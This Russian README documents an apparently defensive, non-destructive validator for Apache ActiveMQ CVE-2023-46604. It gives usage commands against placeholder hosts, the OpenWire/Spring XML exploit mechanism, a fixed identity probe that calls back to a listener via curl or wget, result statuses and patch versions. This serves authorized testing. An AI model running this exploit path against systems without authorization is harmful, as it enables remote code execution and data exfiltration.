
Недestructive валидатор для Apache ActiveMQ CVE-2023-46604. Отправляет специально сформированные пакеты OpenWire, использует HTTP-сервер обратного вызова для подтверждения RCE или загрузки XML и генерирует доказательства в формате CSV/JSON для авторизованных тестов на проникновение.
Однофайловый, неразрушающий валидатор для Apache ActiveMQ CVE-2023-46604. Он запускает собственный HTTP-сервер обратного вызова, генерирует в памяти Spring XML, специфичный для каждой цели, отправляет сформированный OpenWire-пакет, сопоставляет обратные вызовы с уникальными токенами и записывает доказательства в CSV/JSON.
Проект предназначен для авторизованных пентестов и валидации парка систем. Он намеренно не реализует обратные оболочки, неограниченное выполнение команд, расширение CIDR, персистентность или подготовку полезной нагрузки.
Доступны два фиксированных режима доказательства:
rce выполняет фиксированный, доступный только для чтения зонд идентификации и возвращает его вывод на встроенный HTTP-сервер. Обратный вызов подтверждает выполнение команд операционной системы в контексте службы ActiveMQ.xml обслуживает пустой Spring-контекст. Получение подтверждает, что сформированное OpenWire-сообщение заставило цель инстанцировать ClassPathXmlApplicationContext и получить управляемый атакующим XML, без запуска процесса.Создавать или размещать отдельно XML-файлы не требуется.
--fail-on-vuln, удобный для CIПорт OpenWire по умолчанию — 61616, но поддерживаются и нестандартные порты.
В примерах используйте адреса только для документации; замените их на ваши авторизованные активы.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616 \
--callback-host 192.0.2.50
Скрипт автоматически запускает сервер обратного вызова на TCP/8000, обслуживает сгенерированный XML, отправляет OpenWire-пакет, ожидает доказательства, выводит таблицу результатов и записывает:
activemq-cve-2023-46604-results.csv
python3 activemq_validator.py \
--authorized \
--target mq01.example.test:61616 \
--target mq02.example.test:61616 \
--target tcp://192.0.2.23:61500 \
--callback-host 192.0.2.50 \
--workers 4 \
--json-output results.json
Создайте targets.txt:
# Один явно авторизованный хост в строке
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617
Запустите:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--http-port 8000 \
--platform linux \
--proof rce \
--workers 8 \
--wait 15 \
--output findings.csv \
--json-output findings.json
Файлы с целями могут содержать пустые строки и комментарии, начинающиеся с #. Расширение CIDR намеренно не поддерживается; перечисляйте авторизованный инвентарь явно.
Для простых маршрутизируемых сетей опустите --callback-host:
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616
Инструмент выбирает локальный исходный адрес, используемый для маршрутизации к первой цели. Указывайте --callback-host при тестировании через NAT, VPN, контейнеры, промежуточные хосты или системы с несколькими сетевыми интерфейсами.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.30:61616 \
--callback-host 192.0.2.50 \
--platform windows \
--proof rce
Зонд Windows использует фиксированную, неинтерактивную команду PowerShell для возврата идентичности службы, имени компьютера и версии ОС. Он не предоставляет интерактивную оболочку.
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--proof xml
Этот режим не инстанцирует ProcessBuilder.
Используйте цель с ssl://:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50
Для внутреннего слушателя с ненадёжным сертификатом:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50 \
--tls-no-verify
--tls-no-verify влияет только на TLS-соединение OpenWire. Сервер обратного вызова — HTTP.
| Статус | Значение |
|---|---|
CONFIRMED_VULNERABLE_RCE | Цель получила свой XML, и фиксированная команда идентификации вернула доказательства. |
CONFIRMED_VULNERABLE_XML_LOAD | В режиме xml цель получила уникальный XML-документ. |
VULNERABLE_XML_LOAD_ONLY | В режиме rce получение XML произошло, но обратный вызов команды — нет. Подтверждён уязвимый путь инстанцирования класса; инструменты обратного вызова, исходящий трафик или выполнение процессов могут быть ограничены. |
NOT_CONFIRMED | Пакет отправлен, но до истечения срока не поступило коррелированных HTTP-доказательств. Это не является доказательством того, что хост пропатчен. |
UNREACHABLE | Соединение TCP/TLS или отправка пакета не удались. |
Пропатченный брокер, неверный порт, фильтрация исходящего трафика, проблемы маршрутизации, несоответствие TLS и средства контроля конечных точек — всё это может повлиять на валидацию на основе обратных вызовов. Сохраняйте временные метки CSV/JSON и вывод обратных вызовов как доказательства для отчёта.
Зонд идентификации Linux возвращает вывод, похожий на:
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...
Для HTTP POST он пробует curl, wget и BusyBox wget. Если XML получен, но ни один из этих клиентов недоступен, результатом будет VULNERABLE_XML_LOAD_ONLY, а не ложный отрицательный результат.
0: валидация завершена, или уязвимости найдены без --fail-on-vuln2: найден хотя бы один уязвимый результат и был указан --fail-on-vulnПример использования в CI:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--fail-on-vuln
CVE-2023-46604 затрагивает демаршализацию Java OpenWire. Валидатор отправляет слабо маршализованный OpenWire ExceptionResponse, класс исключения которого:
org.springframework.context.support.ClassPathXmlApplicationContext
Сообщение исключения — уникальный URL сгенерированного Spring XML. Уязвимый код ActiveMQ инстанцирует выбранный атакующим класс с этим URL. В режиме rce Spring-контекст запускает фиксированный зонд ProcessBuilder; в режиме xml контекст пуст.
Каждая цель получает разный токен, например:
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>
Это позволяет сопоставлять одновременные обратные вызовы с правильной целью.
--authorized Обязательное подтверждение авторизации
-t, --target VALUE Явная цель; можно повторять
-T, --targets-file FILE Одна явная цель в строке; можно повторять
--default-port PORT По умолчанию 61616
--tls Использовать TLS для всех целей
--tls-no-verify Отключить проверку сертификата OpenWire TLS
--callback-host HOST Адрес, который цели используют для HTTP-обратных вызовов
--bind-host HOST Локальный адрес привязки HTTP; по умолчанию 0.0.0.0
--http-port PORT Локальный порт HTTP; по умолчанию 8000; 0 выбирает свободный порт
--proof rce|xml Фиксированный режим доказательства; по умолчанию rce
--platform linux|windows Целевая ОС для режима RCE; по умолчанию linux
--workers N Параллельные рабочие процессы; максимум 32
--connect-timeout SECONDS Таймаут TCP/TLS
--wait SECONDS Окно сбора обратных вызовов
--retries N От одной до трёх попыток отправки пакета
--retry-delay SECONDS Задержка между попытками
-o, --output FILE Назначение CSV-доказательств
--json-output FILE Опциональное назначение JSON
--verbose Показывать журналы HTTP-запросов
--fail-on-vuln Выход с кодом 2 при обнаружении уязвимого результата
python3 -m unittest discover -s tests -v
Тесты проверяют разбор целей, отклонение CIDR, корректность XML и структуру кадра OpenWire без обращения к каким-либо целям.
Обновите ActiveMQ до исправленной и поддерживаемой в настоящее время версии. В консультации Apache для тогдашних актуальных веток были указаны исправленные версии: ActiveMQ 5.15.16, 5.16.7, 5.17.6, 5.18.3 и 6.0.0, а также Artemis 2.31.2. Кроме того, ограничьте OpenWire-слушатели доверенными клиентами и отслеживайте неожиданное исходящее получение XML.
Этот репозиторий предназначен для защитной валидации и авторизованных оценок безопасности. Он намеренно исключает:
--commandФиксированного зонда идентификации достаточно, чтобы продемонстрировать удалённое выполнение команд и влияние на учётную запись службы без установления интерактивного доступа.
https://activemq.apache.org/news/cve-2023-46604https://activemq.apache.org/components/classic/securityhttps://github.com/apache/activemqhttps://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604MIT. См. LICENSE.